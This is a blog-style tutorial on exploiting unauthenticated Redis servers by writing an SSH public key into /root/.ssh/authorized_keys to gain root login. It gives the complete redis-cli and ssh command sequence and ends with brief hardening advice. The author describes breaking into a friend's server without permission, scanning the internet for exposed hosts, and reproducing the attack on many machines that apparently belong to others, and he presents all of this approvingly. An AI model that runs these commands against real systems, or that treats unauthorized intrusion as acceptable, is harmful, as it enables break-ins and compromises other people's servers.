Understanding Redis Vulnerabilities: Exploiting Unauthorized Access and Prevention Measures

Yesterday, I happened to come across some old articles about Redis vulnerabilities, which reminded me that a while ago, Master Jiang was also studying Redis. I remembered he had installed Redis on his server. So, I casually tested his Redis, and sure enough, there was no password set. I directly wrote my SSH public key into it, successfully gaining access to his server. Feeling quite pleased, I decided to reproduce this Redis unauthorized access vulnerability.

Redis vulnerabilities

Let me briefly introduce Redis:

Redis is an open-source, ANSI C-based, network-enabled, in-memory, and optionally persistent key-value database that provides APIs for multiple programming languages.

By default, Redis binds to 0.0.0.0:6379, exposing the Redis service to the public internet. If authentication is not enabled, this can allow unauthorized users to access Redis and read its data if they can reach the target server. Attackers exploiting this unauthorized access can use Redis commands to write their public key to the Redis server, enabling them to log in to the target server using the corresponding private key.

Redis vulnerabilities

Writing an SSH public key is one of the classic attack methods. If Redis is running as the root user, the `dir` configuration can be set to `/root/.ssh/`. Once the key is successfully written, root access is effectively obtained.

Following the philosophy of “Take life lightly; fight if you must,” I wrote a script to scan for vulnerable machines on the public internet to reproduce this vulnerability. A side note: setting up a vulnerable environment can sometimes be quite troublesome.

This image shows the results of my script scanning the public internet for hosts with port 6379 open and no password set, making them vulnerable to unauthorized access. To prevent these machines from being exploited by too many people, I’ve blurred the details.

Next, let’s reproduce this vulnerability on a Linux host.

First, let’s go over some `redis-cli` parameters:

redis-cli -h [target IP address] (default: 127.0.0.1) -p [port] (default: 6379) -a [password]

For testing, I randomly selected some machines. If a ping succeeds, it will display “PONG.” Refer to the image for details.

First, generate a public-private key pair locally:

ssh-keygen -t rsa

Press Enter all the way through, and the public and private key files will be generated in the `/root/.ssh/` directory.

Next, write the public key into a file named `zgao.txt`:

(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > zgao.txt

Pipe the contents of `zgao.txt` to the following command. The `-x` parameter accepts input from stdin:

cat zgao.txt | redis-cli -h [target IP] -x set zgao

This sets a key named `zgao`, with the value being the contents of `zgao.txt`.

Here’s an image from someone else’s documentation showing the commands used next:

redis-cli -h [target IP]

config set dir /root/.ssh/

If this fails, it means the current permissions are insufficient, and this method won’t work.

config get dir

config set dbfilename “authorized_keys”

save

This sets the `zgao` key value to the public key and uses Redis commands to change the Redis DB file and its storage location to the default SSH key directory for the root user. The key value is then appended to the end of the remote file `authorized_keys`, effectively uploading the public key.

Now, you can successfully write your public key into the `/root/.ssh/authorized_keys` file and then execute:

ssh -i id_rsa root@[target IP]

This allows you to log in to the server remotely using your private key. Since I’ve already reproduced this successfully on many machines, I won’t include additional screenshots.

Table of Contents

Fix Recommendations/Security Suggestions

1. Address Redis vulnerabilities by disabling high-risk commands: Modify the `redis.conf` file and add:

rename-command FLUSHALL “” rename-command CONFIG “” rename-command EVAL “”

2. Run Redis with low privileges

“3. Secure Redis vulnerabilities by enabling password authentication in the `redis.conf` file with `requirepass mypassword`.”

4. Disable external network access to Redis

5. Ensure the security of the `authorized_keys` file

SSH Login – Public Key Authentication

SSH provides public key authentication, which eliminates the need to enter a password. The principle of “public key authentication” is simple: the user stores their public key on the remote host. During login, the remote host sends a random string to the user, who encrypts it with their private key and sends it back. The remote host then decrypts it using the stored public key. If successful, the user is authenticated and granted shell access without requiring a password.

Here are some pitfalls I encountered while reproducing this vulnerability, which I’ve summarized:

  1. Initially, I wasn’t familiar with many Redis commands, which caused confusion during reproduction. For example, the `-x` parameter. It’s important to research thoroughly before attempting reproduction. I recommend this Redis command reference site: http://doc.redisfans.com/
  2. Everyone’s knowledge level varies. Before reproducing, I also referred to articles written by others. What others consider simple might be glossed over, but these details can’t be ignored during reproduction. For instance, the command `(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > zgao.txt`. I wondered why the `\n` was necessary, so I experimented and found it was essential. Without the newline characters, Redis information and the SSH public key information would merge, making it unrecognizable. Always strive to understand the “why” behind each step. Even the `echo -e` command might confuse some. Clarifying every unclear point is how you truly learn.